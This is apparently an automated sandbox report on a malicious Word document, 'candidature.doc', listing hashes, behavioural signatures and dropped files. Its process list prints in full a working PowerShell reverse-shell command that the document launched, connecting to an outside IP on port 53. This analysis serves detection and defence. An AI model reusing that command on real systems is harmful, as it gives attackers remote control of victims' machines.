Analysis
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max time kernel
23s -
max time network
20s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
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submitted
01/04/2025, 13:35
General
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Target
candidature.doc
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Size
352KB
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MD5
f3c3f773d98e50df994269a781856056
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SHA1
87b68d9101576bd238ebf11903bfb59b218f77fd
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SHA256
a9618ef6cc847483f8b0a7eab77fcddf4b92c2454215df3eda1b188111e55cda
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SHA512
5cce5ebbba57fa97a977899ed3ce779ce58e85f83b541a9ae81f2e894d5101dae2eaf13184cae00959a7e30b344a92b181d8943bbbea35ad49d9b788293ee0ab
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SSDEEP
6144:K8SxLqSmteyQgIplSeH5ODlzublpMmuIsLcKeT+ufnE7ZZzxsxZgn/F2iduGK05P:RSBqHteaIueHsDlK3zuTVe9PE7ZTsx+r
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Blocklisted process makes network request 1 IoCs
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Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
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Enumerates system info in registry 2 TTPs 3 IoCs
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Suspicious behavior: AddClipboardFormatListener 2 IoCs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of SetWindowsHookEx 7 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\candidature.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "$client = New-Object System.Net.Sockets.TCPClient('100.83.26.120', 53); $stream = $client.GetStream(); $writer = New-Object System.IO.StreamWriter($stream); $writer.AutoFlush = $true; $buffer = New-Object System.Byte[] 1024; while (($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) { $cmd = ([System.Text.Encoding]::ASCII).GetString($buffer, 0, $i); $output = cmd.exe /c $cmd | Out-String; $writer.Write($output); }; $client.Close();"2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Unexpected DNS network traffic destination
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
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Filesize
1KB
MD55a1e7b0333046d6cf3e0895bc985b3b7
SHA15a40bc21273e1b9e856a33ab8edba44fbf3ad059
SHA256470271102ec9209443a35ed5311d3177ec1b8be7c7edba25c948539d99a95a85
SHA512bbb83044d3022be64416db09937aa8ad581742919098266deb5e1b75806900e4580dc2625f9231755f6c8020af0e824a70598c34353a1c9730d719fa8ca9660e
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
136KB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
64KB
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Filesize
64KB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
64KB
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Filesize
64KB
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Filesize
2.0MB
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Filesize
64KB
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Filesize
2.0MB
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Filesize
4KB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
64KB
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Filesize
2.0MB
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Filesize
64KB
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Filesize
2.0MB
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Filesize
4KB